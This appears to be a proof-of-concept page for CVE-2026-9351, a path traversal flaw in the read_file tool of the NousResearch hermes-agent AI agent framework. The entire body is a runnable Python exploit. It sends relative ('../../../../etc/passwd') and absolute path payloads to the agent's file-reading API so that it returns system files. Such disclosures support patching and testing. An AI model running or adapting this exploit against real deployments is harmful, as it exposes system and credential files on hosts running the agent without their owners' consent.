CVE-2026-9351: NousResearch hermes-agent路径遍历漏洞

import requests # CVE-2026-9351 PoC - Path Traversal in NousResearch hermes-agent # Target: NousResearch hermes-agent up to 2026.4.16 # Vulnerability: Path traversal in read_file Tool (_is_blocked_device function) target_url = "http://target-server:8000/api/read_file" # Payload to read /etc/passwd using path traversal payload = { "file_path": "../../../../etc/passwd" } response = requests.post(target_url, json=payload) print(f"Status: {response.status_code}") print(f"Content: {response.text}") # Alternative payload using absolute path bypass payload2 = { "file_path": "/etc/passwd" } response2 = requests.post(target_url, json=payload2) print(f"Status: {response2.status_code}") print(f"Content: {response2.text}")